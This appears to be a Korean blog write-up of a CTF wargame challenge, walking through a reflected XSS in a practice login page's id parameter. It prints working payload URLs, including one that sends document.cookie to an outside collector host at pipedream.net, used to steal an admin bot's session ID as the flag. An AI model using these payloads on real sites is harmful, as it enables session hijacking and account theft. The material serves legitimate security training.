1. XSS 포인트
제공된 호스트의 로그인 페이지인 "xss_7/login.html" 페이지에서
"/xss_7/login.php" 페이지에 요청을 보낼 때,
id 파라미터에 기존에 존재하는 ID의 비밀번호를 틀렸거나,
없는 ID로 로그인을 시도하면
id 파라미터에 입력된 데이터가 알림창에 그대로 출력되는 모습을 볼 수 있다.
같은 로그인을 요청을 GET 요청으로 바꾸어 시도해 보니,
post 요청과 같은 응답을 받을 수 있었다.
(* Reflected XSS 포인트 확인)
2. 특수문자 필터링 확인하기
XSS 공격에 사용할 수 있는 특수문자를 확인해 보니,
입력한 모든 특수문자가 필터링되지 않는 모습을 볼 수 있다.
3. 스크립트 삽입
id 파라미터를 이용해
alert 구문을 닫고, 이후 출력되는 문자열을 주석 처리했다.
해당 URL로 접근해 보면
의도한 데로 알림창이 뜨는 것을 확인할 수 있다.
이후 alert 구문을 추가해 POC 코드를 작성한 뒤,
http://ctf.segfaulthub.com:4343/xss_7/login.php?id=XSS_test+]');alert(1)//&pw=1234
완성된 공격 URL에 접근해 보니,
"[ XSS_test ]" 알림창이 뜬 후에
악성 스크립트로 대변된 POC 코드가 동작하는 것을 볼 수 있다.
4. 예상 피해
- 사용자 쿠키 탈취 : document.cookie
- 사용자 개인정보 탈취 : keylogger
- 악성코드 다운 & 실행
- 피싱 사이트 강제 이동 : location.href
만약 공격자가 POC 코드 대신에
위와 같은 악성 스크립트를 작성한 다음,
해당 url을 일반 사용자에게 접근하도록 유도한다면
일반 사용자의 웹 브라우저에서 공격 스크립트가 동작해
피해가 발생할 것으로 보인다.
5. 쿠키 탈취
// var i = new Image(); i.src = "공격자 주소/?cookie="%2Bdocument.cookie;
location.href="https://en88y0voes91u.x.pipedream.net/?cookie="%2bdocument.cookie;
쿠키를 탈취하는 스크립트를 작성한 뒤,
id=xss_test ]');location.href="https://en88y0voes91u.x.pipedream.net/?cookie="%2bdocument.cookie;//
&pw=dummy
id 파라미터에 작성한 스크립트를 넣어 전달해 보니,
응답에서 alert 구문이 잘 닫히고, 쿠키와 함께 공격자 페이지로 이동하는 스크립트가 잘 삽입된 모습을 볼 수 있다.
http://ctf.segfaulthub.com:4343/xss_7/login.php?
id=xss_test+]');location.href="https://en88y0voes91u.x.pipedream.net/?cookie="%2bdocument.cookie;//
&pw=dummy
완성된 URL로 접근 시,
[ xss_test ] 알람창이 뜬 이후에
사용자의 쿠키 값을 가지고
공격자의 서버로 접속한 것을 볼 수 있다.
그리고 공격자 서버에서는
접근한 사용자의 세션 ID를 확인할 수 있었다.
완성된 공격 URL을
관리자 봇이 접근할 수 있도록 전달해 보니,
공격자의 서버에서
피해자인 관리자의 세션 ID
즉, FLAG를 얻을 수 있었다.
'WarGame > SegFault' 카테고리의 다른 글
Basic Script Prac (0) | 2024.06.29 |
---|---|
XSS Challenge (1) | 2024.06.24 |
XSS 5 (0) | 2024.06.16 |
XSS 4 (0) | 2024.06.14 |
XSS 3 (1) | 2024.06.14 |